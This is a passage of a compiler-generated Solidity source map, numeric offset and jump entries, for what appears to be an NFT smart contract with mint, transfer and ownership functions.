-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;62465:4:::1;:18:::0;62396:95::o;15817:312::-;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;62465:4:::1;:18:::0;62396:95::o;70307:517::-;70493:11;70464:41;;70368:4;;;;70447:5;;70368:4;;70464:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;70522:6;70518:204;70536:10;:17;70532:1;:21;70518:204;;;70578:6;70574:137;70590:7;:14;70588:1;:16;70574:137;;;70645:7;70653:1;70645:10;;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;70630:25:0;;:10;70641:1;70630:13;;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;;70630:13:0;:25;70627:60;;70673:14;;;;:::i;:::-;;;;70627:60;70606:3;;;;:::i;:::-;;;;70574:137;;;-1:-1:-1;70556:3:0;;;;:::i;:::-;;;;70518:204;;;;70750:10;:17;70736:12;:31;70732:76;;-1:-1:-1;70778:4:0;;70307:517;-1:-1:-1;;;;70307:517:0:o;70732:76::-;-1:-1:-1;70800:5:0;;70307:517;-1:-1:-1;;;;70307:517:0:o;43706:104::-;43762:13;43795:7;43788:14;;;;;:::i;60853:497::-;60940:31;60974:41;60987:17;61005:8;;60987:27;;;;;;;:::i;60974:41::-;61030:14;;60940:75;;-1:-1:-1;;;;;;61030:28:0;61048:10;61030:28;61026:49;;61060:15;;-1:-1:-1;;;61060:15:0;;;;;;;:::i;61026:49::-;61094:19;61122:14;:40;61137:14;61152:8;;61137:24;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;61137:24:0;61122:40;;;;;;;;;;-1:-1:-1;61122:40:0;61094:69;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;61215:8;;61199:26;;;;;;;:::i;:::-;;;;;;;;61188:6;61178:17;;;;;;:47;61174:123;;61242:43;;;;;;;;;;;;:14;:40;61257:14;61272:8;;61257:24;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;61257:24:0;61242:40;;;;;;;;;;-1:-1:-1;61242:40:0;;:43;;:40;:43;:::i;:::-;;61174:123;61332:10;61307:14;61322:8;;61307:24;;;;;;;:::i;:::-;;;;;;;;;;;;;;:35;;-1:-1:-1;;;;;61307:35:0;;;;-1:-1:-1;;;;;;61307:35:0;;;;;;;;;-1:-1:-1;;;;;60853:497:0:o;45325:287::-;14409:10;-1:-1:-1;;;;;45424:24:0;;;45420:54;;45457:17;;-1:-1:-1;;;45457:17:0;;;;;;;;;;;45420:54;14409:10;45487:32;;;;:18;:32;;;;;;;;-1:-1:-1;;;;;45487:42:0;;;;;;;;;;;;:53;;-1:-1:-1;;45487:53:0;;;;;;;;;;45556:48;;540:41:1;;;45487:42:0;;14409:10;45556:48;;513:18:1;45556:48:0;;;;;;;45325:287;;:::o;61872:158::-;61962:13;61995:11;62007:8;61995:21;;;;;;:::i;:::-;;;;;;;;;;;;;62017:4;;61995:27;;;;;;;:::i;:::-;;;;;;;;;;;;;61988:34;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;61872:158;;;;;:::o;65590:1411::-;65731:14;;;;65723:46;;;;-1:-1:-1;;;65723:46:0;;25075:2:1;65723:46:0;;;25057:21:1;25114:2;25094:18;;;25087:30;-1:-1:-1;;;25133:18:1;;;25126:49;25192:18;;65723:46:0;24873:343:1;65723:46:0;65780:24;65819:14;65838:8;65805:42;;;;;;;;;:::i;:::-;;;;;;;;;;;;;65780:67;;65896:11;;65872:14;65866:28;:41;;65858:62;;;;-1:-1:-1;;;65858:62:0;;;;;;;:::i;:::-;65968:1;65945:14;65939:28;:30;65931:54;;;;-1:-1:-1;;;65931:54:0;;;;;;;:::i;:::-;66004:20;66015:8;66004:10;:20::i;:::-;65996:45;;;;-1:-1:-1;;;65996:45:0;;;;;;;:::i;:::-;66060:26;66071:14;66060:10;:26::i;:::-;66052:51;;;;-1:-1:-1;;;66052:51:0;;;;;;;:::i;:::-;66123:17;66141:10;66123:29;;;;;;:::i;:::-;;;;;;;;;;;;;;66156:1;66123:34;66114:70;;;;-1:-1:-1;;;66114:70:0;;;;;;;:::i;:::-;66200:31;66234:41;66247:17;66265:8;66247:27;;;;;;:::i;66234:41::-;66200:75;;66308:10;-1:-1:-1;;;;;66290:28:0;:9;:14;;;-1:-1:-1;;;;;66290:28:0;;66286:708;;66340:32;66358:13;;66340:32;;:17;:32;;;;;:43;66373:10;66340:32;:43;:::i;:::-;;66424:13;;66394:17;66412:10;66394:29;;;;;;:::i;:::-;;;;;;;;;;;;;:43;;;;66475:10;66448:14;66463:10;66448:26;;;;;;:::i;:::-;;;;;;;;;;;;;;:37;;-1:-1:-1;;;;;66448:37:0;;;;-1:-1:-1;;;;;;66448:37:0;;;;;;;;;66497:23;66507:10;66448:37;66497:9;:23::i;:::-;66286:708;;;66560:21;66582:8;66560:31;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;:37;;:31;:37;66552:73;;;;-1:-1:-1;;;66552:73:0;;27374:2:1;66552:73:0;;;27356:21:1;27413:2;27393:18;;;27386:30;27452:25;27432:18;;;27425:53;27495:18;;66552:73:0;27172:347:1;66552:73:0;66657:15;66673:8;66657:25;;;;;;:::i;:::-;;;;;;;;;;;;;;66644:9;:38;;66636:70;;;;-1:-1:-1;;;66636:70:0;;;;;;;:::i;:::-;66725:9;:14;;;-1:-1:-1;;;;;66717:32:0;:68;66781:3;66765:14;;66761:3;:18;;;;:::i;:::-;66750:30;;:9;:30;:::i;:::-;:34;;;;:::i;:::-;66717:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;66796:32:0;66814:13;;66796:32;;:17;:32;;;;;:43;66829:10;66796:32;:43;:::i;:::-;;66880:13;;66850:17;66868:10;66850:29;;;;;;:::i;:::-;;;;;;;;;;;;;:43;;;;66931:10;66904:14;66919:10;66904:26;;;;;;:::i;61549:315::-;61669:31;61703:41;61716:17;61734:8;;61716:27;;;;;;;:::i;61703:41::-;61761:14;;61669:75;;-1:-1:-1;;;;;;61761:28:0;61779:10;61761:28;61757:49;;61791:15;;-1:-1:-1;;;61791:15:0;;;;;;;:::i;61757:49::-;61848:8;61817:11;61829:8;;61817:21;;;;;;;:::i;:::-;;;;;;;;;;;;;61839:7;;61817:30;;;;;;;:::i;:::-;;;;;;;;;;;;;:39;;;;;;:::i;62499:256::-;14409:10;-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;15817:312;;;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;62620:3:::1;:10:::0;;;;62641:9:::1;:22:::0;;;;62674:12:::1;:28:::0;62713:14:::1;:32:::0;62499:256::o;46411:370::-;46578:28;46588:4;46594:2;46598:7;46578:9;:28::i;:::-;-1:-1:-1;;;;;46621:13:0;;18844:19;:23;46617:157;;46642:56;46673:4;46679:2;46683:7;46692:5;46642:30;:56::i;:::-;46638:136;;46722:40;;-1:-1:-1;;;46722:40:0;;;;;;;;;;;61358:181;61465:10;-1:-1:-1;;;;;61439:36:0;:14;61454:8;;61439:24;;;;;;;:::i;:::-;;;;;;;;;;;;;;;-1:-1:-1;;;;;61439:24:0;:36;61431:54;;;;-1:-1:-1;;;61431:54:0;;;;;;;:::i;:::-;61511:10;61496:26;;;;:14;:26;;;;;:35;61523:8;;61496:26;:35;:::i;43881:326::-;43954:13;43985:16;43993:7;43985;:16::i;:::-;43980:59;;44010:29;;-1:-1:-1;;;44010:29:0;;;;;;;;;;;43980:59;44052:21;44076:10;:8;:10::i;:::-;44052:34;;44110:7;44104:21;44129:1;44104:26;:95;;;;;;;;;;;;;;;;;44157:7;44166:17;:26;44184:7;44166:26;;;;;;;;;;;44140:53;;;;;;;;;:::i;:::-;;;;;;;;;;;;;44104:95;44097:102;43881:326;-1:-1:-1;;;43881:326:0:o;68457:193::-;14409:10;-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;15817:312;;;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;68553:26:::1;::::0;;;:17:::1;:26;::::0;;;;:39:::1;68580:12:::0;;68553:26;:39:::1;:::i;:::-;;68635:7;68603:17;68621:12;;68603:31;;;;;;;:::i;:::-;::::0;;;::::1;::::0;;;;;::::1;::::0;;;:39;-1:-1:-1;;;68457:193:0:o;45683:164::-;-1:-1:-1;;;;;45804:25:0;;;45780:4;45804:25;;;:18;:25;;;;;;;;:35;;;;;;;;;;;;;;;45683:164::o;60319:63::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;16757:201::-;14409:10;-1:-1:-1;;;;;;;;;;;15821:58:0;15817:312;;15910:21;15942:78;-1:-1:-1;;;;;;;;;;;15910:21:0;15942:17;:78::i;:::-;15881:151;15817:312;;;15678:6;;-1:-1:-1;;;;;15678:6:0;14409:10;16057:23;16049:68;;;;-1:-1:-1;;;16049:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16846:22:0;::::1;16838:73;;;::::0;-1:-1:-1;;;16838:73:0;;29309:2:1;16838:73:0::1;::::0;::::1;29291:21:1::0;29348:2;29328:18;;;29321:30;29387:34;29367:18;;;29360:62;-1:-1:-1;;;29438:18:1;;;29431:36;29484:19;;16838:73:0::1;29107:402:1::0;16838:73:0::1;16922:28;16941:8;16922:18;:28::i;:::-;16757:201:::0;:::o;68656:646::-;68735:15;68762:23;68788:17;68798:6;68788:9;:17::i;:::-;68762:43;;68812:29;68857:15;-1:-1:-1;;;;;68844:29:0;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;68812:61:0;-1:-1:-1;68905:1:0;68880:22;68949:319;68974:15;68956;:33;68949:319;;;69000:25;69028:23;69036:14;69028:7;:23::i;:::-;69000:51;;69087:6;-1:-1:-1;;;;;69066:27:0;:17;-1:-1:-1;;;;;69066:27:0;;69062:172;;69153:33;;;;:17;:33;;;;;;;;;69139:55;;;;69153:33;69187:6;;69139:55;;:::i;:::-;;;;;;;;;;;;;69106:13;69120:15;69106:30;;;;;;;;:::i;:::-;;;;;;:88;;;;69207:17;;;;;:::i;:::-;;;;69062:172;69244:16;;;;:::i;:::-;;;;68991:277;68949:319;;18549:326;-1:-1:-1;;;;;18844:19:0;;:23;;;18549:326::o;47036:174::-;47093:4;47136:7;39519:1;47117:26;;:53;;;;;47157:13;;47147:7;:23;47117:53;:85;;;;-1:-1:-1;;47175:20:0;;;;:11;:20;;;;;:27;-1:-1:-1;;;47175:27:0;;;;47174:28;;47036:174::o;56272:196::-;56387:24;;;;:15;:24;;;;;;:29;;-1:-1:-1;;;;;;56387:29:0;-1:-1:-1;;;;;56387:29:0;;;;;;;;;56432:28;;56387:24;;56432:28;;;;;;;56272:196;;;:::o;19810:317::-;19925:6;19900:21;:31;;19892:73;;;;-1:-1:-1;;;19892:73:0;;29716:2:1;19892:73:0;;;29698:21:1;29755:2;29735:18;;;29728:30;29794:31;29774:18;;;29767:59;29843:18;;19892:73:0;29514:353:1;19892:73:0;19979:12;19997:9;-1:-1:-1;;;;;19997:14:0;20019:6;19997:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19978:52;;;20049:7;20041:78;;;;-1:-1:-1;;;20041:78:0;;30284:2:1;20041:78:0;;;30266:21:1;30323:2;30303:18;;;30296:30;30362:34;30342:18;;;30335:62;30433:28;30413:18;;;30406:56;30479:19;;20041:78:0;30082:422:1;42172:1111:0;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;42283:7:0;;39519:1;42332:23;42328:888;;42368:13;;42361:4;:20;42357:859;;;42402:31;42436:17;;;:11;:17;;;;;;;;;42402:51;;;;;;;;;-1:-1:-1;;;;;42402:51:0;;;;-1:-1:-1;;;42402:51:0;;-1:-1:-1;;;;;42402:51:0;;;;;;;;-1:-1:-1;;;42402:51:0;;;;;;;;;;;;;;42472:729;;42522:14;;-1:-1:-1;;;;;42522:28:0;;42518:101;;42586:9;42172:1111;-1:-1:-1;;;42172:1111:0:o;42518:101::-;-1:-1:-1;;;42961:6:0;43006:17;;;;:11;:17;;;;;;;;;42994:29;;;;;;;;;-1:-1:-1;;;;;42994:29:0;;;;;-1:-1:-1;;;42994:29:0;;-1:-1:-1;;;;;42994:29:0;;;;;;;;-1:-1:-1;;;42994:29:0;;;;;;;;;;;;;43054:28;43050:109;;43122:9;42172:1111;-1:-1:-1;;;42172:1111:0:o;43050:109::-;42921:261;;;42383:833;42357:859;43244:31;;-1:-1:-1;;;43244:31:0;;;;;;;;;;;51206:2144;51321:35;51359:21;51372:7;51359:12;:21::i;:::-;51321:59;;51419:4;-1:-1:-1;;;;;51397:26:0;:13;:18;;;-1:-1:-1;;;;;51397:26:0;;51393:67;;51432:28;;-1:-1:-1;;;51432:28:0;;;;;;;;;;;51393:67;51473:22;14409:10;-1:-1:-1;;;;;51499:20:0;;;;:73;;-1:-1:-1;51536:36:0;51553:4;14409:10;45683:164;:::i;51536:36::-;51499:126;;;-1:-1:-1;14409:10:0;51589:20;51601:7;51589:11;:20::i;:::-;-1:-1:-1;;;;;51589:36:0;;51499:126;51473:153;;51644:17;51639:66;;51670:35;;-1:-1:-1;;;51670:35:0;;;;;;;;;;;51639:66;-1:-1:-1;;;;;51720:16:0;;51716:52;;51745:23;;-1:-1:-1;;;51745:23:0;;;;;;;;;;;51716:52;51889:35;51906:1;51910:7;51919:4;51889:8;:35::i;:::-;-1:-1:-1;;;;;52220:18:0;;;;;;;:12;:18;;;;;;;;:31;;-1:-1:-1;;52220:31:0;;;-1:-1:-1;;;;;52220:31:0;;;-1:-1:-1;;52220:31:0;;;;;;;52266:16;;;;;;;;;:29;;;;;;;;-1:-1:-1;52266:29:0;;;;;;;;;;;52346:20;;;:11;:20;;;;;;52381:18;;-1:-1:-1;;;;;;52414:49:0;;;;-1:-1:-1;;;52447:15:0;52414:49;;;;;;;;;;52751:11;;52811:24;;;;;52854:13;;52346:20;;52811:24;;52854:13;52850:384;;53064:13;;53049:11;:28;53045:174;;53102:20;;53171:28;;;;-1:-1:-1;;;;;53145:54:0;-1:-1:-1;;;53145:54:0;-1:-1:-1;;;;;;53145:54:0;;;-1:-1:-1;;;;;53102:20:0;;53145:54;;;;53045:174;52195:1050;;;53281:7;53277:2;-1:-1:-1;;;;;53262:27:0;53271:4;-1:-1:-1;;;;;53262:27:0;;;;;;;;;;;53300:42;64613:967;1326:190;1451:4;1504;1475:25;1488:5;1495:4;1475:12;:25::i;:::-;:33;;1326:190;-1:-1:-1;;;;1326:190:0:o;47294:104::-;47363:27;47373:2;47377:8;47363:27;;;;;;;;;;;;:9;:27::i;17118:191::-;17211:6;;;-1:-1:-1;;;;;17228:17:0;;;-1:-1:-1;;;;;;17228:17:0;;;;;;;17261:40;;17211:6;;;17228:17;17211:6;;17261:40;;17192:16;;17261:40;17181:128;17118:191;:::o;56960:667::-;57144:72;;-1:-1:-1;;;57144:72:0;;57123:4;;-1:-1:-1;;;;;57144:36:0;;;;;:72;;14409:10;;57195:4;;57201:7;;57210:5;;57144:72;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;-1:-1:-1;57144:72:0;;;;;;;;-1:-1:-1;;57144:72:0;;;;;;;;;;;;:::i;:::-;;;57140:480;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;57378:6;:13;57395:1;57378:18;57374:235;;57424:40;;-1:-1:-1;;;57424:40:0;;;;;;;;;;;57374:235;57567:6;57561:13;57552:6;57548:2;57544:15;57537:38;57140:480;-1:-1:-1;;;;;;57263:55:0;-1:-1:-1;;;57263:55:0;;-1:-1:-1;57140:480:0;56960:667;;;;;;:::o;60736:109::-;60796:13;60829:8;60822:15;;;;;:::i;2193:296::-;2276:7;2319:4;2276:7;2334:118;2358:5;:12;2354:1;:16;2334:118;;;2407:33;2417:12;2431:5;2437:1;2431:8;;;;;;;;:::i;:::-;;;;;;;2407:9;:33::i;:::-;2392:48;-1:-1:-1;2372:3:0;;;;:::i;:::-;;;;2334:118;;;-1:-1:-1;2469:12:0;2193:296;-1:-1:-1;;;2193:296:0:o;47771:1749::-;47894:20;47917:13;-1:-1:-1;;;;;47945:16:0;;47941:48;;47970:19;;-1:-1:-1;;;47970:19:0;;;;;;;;;;;47941:48;48004:8;48016:1;48004:13;48000:44;;48026:18;;-1:-1:-1;;;48026:18:0;;;;;;;;;;;48000:44;-1:-1:-1;;;;;48395:16:0;;;;;;:12;:16;;;;;;;;:44;;-1:-1:-1;;48454:49:0;;-1:-1:-1;;;;;48395:44:0;;;;;;;48454:49;;;;-1:-1:-1;;48395:44:0;;;;;;48454:49;;;;;;;;;;;;;;;;48520:25;;;:11;:25;;;;;;:35;;-1:-1:-1;;;;;;48570:66:0;;;-1:-1:-1;;;48620:15:0;48570:66;;;;;;;;;;;;;48520:25;;48717:23;;;;18844:19;:23;48757:631;;48797:313;48828:38;;48853:12;;-1:-1:-1;;;;;48828:38:0;;;48845:1;;48828:38;;48845:1;;48828:38;48894:69;48933:1;48937:2;48941:14;;;;;;48957:5;48894:30;:69::i;:::-;48889:174;;48999:40;;-1:-1:-1;;;48999:40:0;;;;;;;;;;;48889:174;49105:3;49090:12;:18;48797:313;;49191:12;49174:13;;:29;49170:43;;49205:8;;;49170:43;48757:631;;;49254:119;49285:40;;49310:14;;;;;-1:-1:-1;;;;;49285:40:0;;;49302:1;;49285:40;;49302:1;;49285:40;49368:3;49353:12;:18;49254:119;;48757:631;-1:-1:-1;49402:13:0;:28;;;49452:60;;49485:2;49489:12;49503:8;49452:60;:::i;8400:149::-;8463:7;8494:1;8490;:5;:51;;8625:13;8719:15;;;8755:4;8748:15;;;8802:4;8786:21;;8490:51;;;-1:-1:-1;8625:13:0;8719:15;;;8755:4;8748:15;8802:4;8786:21;;;8400:149::o;14:131:1:-;-1:-1:-1;;;;;;88:32:1;;78:43;;68:71;;135:1;132;125:12;150:245;208:6;261:2;249:9;240:7;236:23;232:32;229:52;;;277:1;274;267:12;229:52;316:9;303:23;335:30;359:5;335:30;:::i;592:250::-;677:1;687:113;701:6;698:1;695:13;687:113;;;777:11;;;771:18;758:11;;;751:39;723:2;716:10;687:113;;;-1:-1:-1;;834:1:1;816:16;;809:27;592:250::o;847:271::-;889:3;927:5;921:12;954:6;949:3;942:19;970:76;1039:6;1032:4;1027:3;1023:14;1016:4;1009:5;1005:16;970:76;:::i;:::-;1100:2;1079:15;-1:-1:-1;;1075:29:1;1066:39;;;;1107:4;1062:50;;847:271;-1:-1:-1;;847:271:1:o;1123:220::-;1272:2;1261:9;1254:21;1235:4;1292:45;1333:2;1322:9;1318:18;1310:6;1292:45;:::i;1348:180::-;1407:6;1460:2;1448:9;1439:7;1435:23;1431:32;1428:52;;;1476:1;1473;1466:12;1428:52;-1:-1:-1;1499:23:1;;1348:180;-1:-1:-1;1348:180:1:o;1741:173::-;1809:20;;-1:-1:-1;;;;;1858:31:1;;1848:42;;1838:70;;1904:1;1901;1894:12;1838:70;1741:173;;;:::o;1919:254::-;1987:6;1995;2048:2;2036:9;2027:7;2023:23;2019:32;2016:52;;;2064:1;2061;2054:12;2016:52;2087:29;2106:9;2087:29;:::i;:::-;2077:39;2163:2;2148:18;;;;2135:32;;-1:-1:-1;;;1919:254:1:o;2178:127::-;2239:10;2234:3;2230:20;2227:1;2220:31;2270:4;2267:1;2260:15;2294:4;2291:1;2284:15;2310:719;2353:5;2406:3;2399:4;2391:6;2387:17;2383:27;2373:55;;2424:1;2421;2414:12;2373:55;2460:6;2447:20;-1:-1:-1;;;;;2523:2:1;2519;2516:10;2513:36;;;2529:18;;:::i;:::-;2604:2;2598:9;2572:2;2658:13;;-1:-1:-1;;2654:22:1;;;2678:2;2650:31;2646:40;2634:53;;;2702:18;;;2722:22;;;2699:46;2696:72;;;2748:18;;:::i;:::-;2788:10;2784:2;2777:22;2823:2;2815:6;2808:18;2869:3;2862:4;2857:2;2849:6;2845:15;2841:26;2838:35;2835:55;;;2886:1;2883;2876:12;2835:55;2950:2;2943:4;2935:6;2931:17;2924:4;2916:6;2912:17;2899:54;2997:1;2990:4;2985:2;2977:6;2973:15;2969:26;2962:37;3017:6;3008:15;;;;;;2310:719;;;;:::o;3034:322::-;3103:6;3156:2;3144:9;3135:7;3131:23;3127:32;3124:52;;;3172:1;3169;3162:12;3124:52;3212:9;3199:23;-1:-1:-1;;;;;3237:6:1;3234:30;3231:50;;;3277:1;3274;3267:12;3231:50;3300;3342:7;3333:6;3322:9;3318:22;3300:50;:::i;4051:160::-;4116:20;;4172:13;;4165:21;4155:32;;4145:60;;4201:1;4198;4191:12;4216:348;4268:8;4278:6;4332:3;4325:4;4317:6;4313:17;4309:27;4299:55;;4350:1;4347;4340:12;4299:55;-1:-1:-1;4373:20:1;;-1:-1:-1;;;;;4405:30:1;;4402:50;;;4448:1;4445;4438:12;4402:50;4485:4;4477:6;4473:17;4461:29;;4537:3;4530:4;4521:6;4513;4509:19;4505:30;4502:39;4499:59;;;4554:1;4551;4544:12;4499:59;4216:348;;;;;:::o;4569:547::-;4655:6;4663;4671;4679;4732:2;4720:9;4711:7;4707:23;4703:32;4700:52;;;4748:1;4745;4738:12;4700:52;4771:26;4787:9;4771:26;:::i;:::-;4761:36;;4844:2;4833:9;4829:18;4816:32;4806:42;;4899:2;4888:9;4884:18;4871:32;-1:-1:-1;;;;;4918:6:1;4915:30;4912:50;;;4958:1;4955;4948:12;4912:50;4997:59;5048:7;5039:6;5028:9;5024:22;4997:59;:::i;:::-;4569:547;;;;-1:-1:-1;5075:8:1;-1:-1:-1;;;;4569:547:1:o;5121:328::-;5198:6;5206;5214;5267:2;5255:9;5246:7;5242:23;5238:32;5235:52;;;5283:1;5280;5273:12;5235:52;5306:29;5325:9;5306:29;:::i;:::-;5296:39;;5354:38;5388:2;5377:9;5373:18;5354:38;:::i;:::-;5344:48;;5439:2;5428:9;5424:18;5411:32;5401:42;;5121:328;;;;;:::o;5454:367::-;5517:8;5527:6;5581:3;5574:4;5566:6;5562:17;5558:27;5548:55;;5599:1;5596;5589:12;5548:55;-1:-1:-1;5622:20:1;;-1:-1:-1;;;;;5654:30:1;;5651:50;;;5697:1;5694;5687:12;5651:50;5734:4;5726:6;5722:17;5710:29;;5794:3;5787:4;5777:6;5774:1;5770:14;5762:6;5758:27;5754:38;5751:47;5748:67;;;5811:1;5808;5801:12;5826:658;5931:6;5939;5947;6000:2;5988:9;5979:7;5975:23;5971:32;5968:52;;;6016:1;6013;6006:12;5968:52;6056:9;6043:23;-1:-1:-1;;;;;6126:2:1;6118:6;6115:14;6112:34;;;6142:1;6139;6132:12;6112:34;6165:50;6207:7;6198:6;6187:9;6183:22;6165:50;:::i;:::-;6155:60;;6268:2;6257:9;6253:18;6240:32;6224:48;;6297:2;6287:8;6284:16;6281:36;;;6313:1;6310;6303:12;6281:36;;6352:72;6416:7;6405:8;6394:9;6390:24;6352:72;:::i;:::-;5826:658;;6443:8;;-1:-1:-1;6326:98:1;;-1:-1:-1;;;;5826:658:1:o;6489:803::-;6651:4;6680:2;6720;6709:9;6705:18;6750:2;6739:9;6732:21;6773:6;6808;6802:13;6839:6;6831;6824:22;6877:2;6866:9;6862:18;6855:25;;6939:2;6929:6;6926:1;6922:14;6911:9;6907:30;6903:39;6889:53;;6977:2;6969:6;6965:15;6998:1;7008:255;7022:6;7019:1;7016:13;7008:255;;;7115:2;7111:7;7099:9;7091:6;7087:22;7083:36;7078:3;7071:49;7143:40;7176:6;7167;7161:13;7143:40;:::i;:::-;7133:50;-1:-1:-1;7241:12:1;;;;7206:15;;;;7044:1;7037:9;7008:255;;;-1:-1:-1;7280:6:1;;6489:803;-1:-1:-1;;;;;;;6489:803:1:o;7297:396::-;7375:6;7383;7436:2;7424:9;7415:7;7411:23;7407:32;7404:52;;;7452:1;7449;7442:12;7404:52;7475:29;7494:9;7475:29;:::i;:::-;7465:39;;7555:2;7544:9;7540:18;7527:32;-1:-1:-1;;;;;7574:6:1;7571:30;7568:50;;;7614:1;7611;7604:12;7568:50;7637;7679:7;7670:6;7659:9;7655:22;7637:50;:::i;:::-;7627:60;;;7297:396;;;;;:::o;7698:858::-;7822:6;7830;7838;7846;7899:2;7887:9;7878:7;7874:23;7870:32;7867:52;;;7915:1;7912;7905:12;7867:52;7955:9;7942:23;-1:-1:-1;;;;;8025:2:1;8017:6;8014:14;8011:34;;;8041:1;8038;8031:12;8011:34;8064:50;8106:7;8097:6;8086:9;8082:22;8064:50;:::i;:::-;8054:60;;8167:2;8156:9;8152:18;8139:32;8123:48;;8196:2;8186:8;8183:16;8180:36;;;8212:1;8209;8202:12;8180:36;8235:52;8279:7;8268:8;8257:9;8253:24;8235:52;:::i;:::-;8225:62;;8340:2;8329:9;8325:18;8312:32;8296:48;;8369:2;8359:8;8356:16;8353:36;;;8385:1;8382;8375:12;8353:36;;8424:72;8488:7;8477:8;8466:9;8462:24;8424:72;:::i;8561:396::-;8639:6;8647;8700:2;8688:9;8679:7;8675:23;8671:32;8668:52;;;8716:1;8713;8706:12;8668:52;8756:9;8743:23;-1:-1:-1;;;;;8781:6:1;8778:30;8775:50;;;8821:1;8818;8811:12;8775:50;8844;8886:7;8877:6;8866:9;8862:22;8844:50;:::i;:::-;8834:60;;;8913:38;8947:2;8936:9;8932:18;8913:38;:::i;:::-;8903:48;;8561:396;;;;;:::o;8962:180::-;9018:6;9071:2;9059:9;9050:7;9046:23;9042:32;9039:52;;;9087:1;9084;9077:12;9039:52;9110:26;9126:9;9110:26;:::i;9147:186::-;9206:6;9259:2;9247:9;9238:7;9234:23;9230:32;9227:52;;;9275:1;9272;9265:12;9227:52;9298:29;9317:9;9298:29;:::i;9338:458::-;9425:6;9433;9441;9494:2;9482:9;9473:7;9469:23;9465:32;9462:52;;;9510:1;9507;9500:12;9462:52;9546:9;9533:23;9523:33;;9607:2;9596:9;9592:18;9579:32;-1:-1:-1;;;;;9626:6:1;9623:30;9620:50;;;9666:1;9663;9656:12;9620:50;9689;9731:7;9722:6;9711:9;9707:22;9689:50;:::i;:::-;9679:60;;;9786:2;9775:9;9771:18;9758:32;9748:42;;9338:458;;;;;:::o;9986:485::-;10066:6;10074;10082;10135:2;10123:9;10114:7;10110:23;10106:32;10103:52;;;10151:1;10148;10141:12;10103:52;10191:9;10178:23;-1:-1:-1;;;;;10216:6:1;10213:30;10210:50;;;10256:1;10253;10246:12;10210:50;10295:59;10346:7;10337:6;10326:9;10322:22;10295:59;:::i;:::-;10373:8;;-1:-1:-1;10269:85:1;-1:-1:-1;10427:38:1;;-1:-1:-1;10461:2:1;10446:18;;10427:38;:::i;:::-;10417:48;;9986:485;;;;;:::o;10476:254::-;10541:6;10549;10602:2;10590:9;10581:7;10577:23;10573:32;10570:52;;;10618:1;10615;10608:12;10570:52;10641:29;10660:9;10641:29;:::i;:::-;10631:39;;10689:35;10720:2;10709:9;10705:18;10689:35;:::i;10735:632::-;10825:6;10833;10841;10894:2;10882:9;10873:7;10869:23;10865:32;10862:52;;;10910:1;10907;10900:12;10862:52;10950:9;10937:23;-1:-1:-1;;;;;11020:2:1;11012:6;11009:14;11006:34;;;11036:1;11033;11026:12;11006:34;11059:50;11101:7;11092:6;11081:9;11077:22;11059:50;:::i;:::-;11049:60;;11162:2;11151:9;11147:18;11134:32;11118:48;;11191:2;11181:8;11178:16;11175:36;;;11207:1;11204;11197:12;11175:36;;11246:61;11299:7;11288:8;11277:9;11273:24;11246:61;:::i;11372:543::-;11460:6;11468;11521:2;11509:9;11500:7;11496:23;11492:32;11489:52;;;11537:1;11534;11527:12;11489:52;11577:9;11564:23;-1:-1:-1;;;;;11647:2:1;11639:6;11636:14;11633:34;;;11663:1;11660;11653:12;11633:34;11686:50;11728:7;11719:6;11708:9;11704:22;11686:50;:::i;:::-;11676:60;;11789:2;11778:9;11774:18;11761:32;11745:48;;11818:2;11808:8;11805:16;11802:36;;;11834:1;11831;11824:12;11802:36;;11857:52;11901:7;11890:8;11879:9;11875:24;11857:52;:::i;11920:921::-;12031:6;12039;12047;12055;12063;12116:2;12104:9;12095:7;12091:23;12087:32;12084:52;;;12132:1;12129;12122:12;12084:52;12172:9;12159:23;-1:-1:-1;;;;;12242:2:1;12234:6;12231:14;12228:34;;;12258:1;12255;12248:12;12228:34;12297:59;12348:7;12339:6;12328:9;12324:22;12297:59;:::i;:::-;12375:8;;-1:-1:-1;12271:85:1;-1:-1:-1;12463:2:1;12448:18;;12435:32;;-1:-1:-1;12479:16:1;;;12476:36;;;12508:1;12505;12498:12;12476:36;12547:6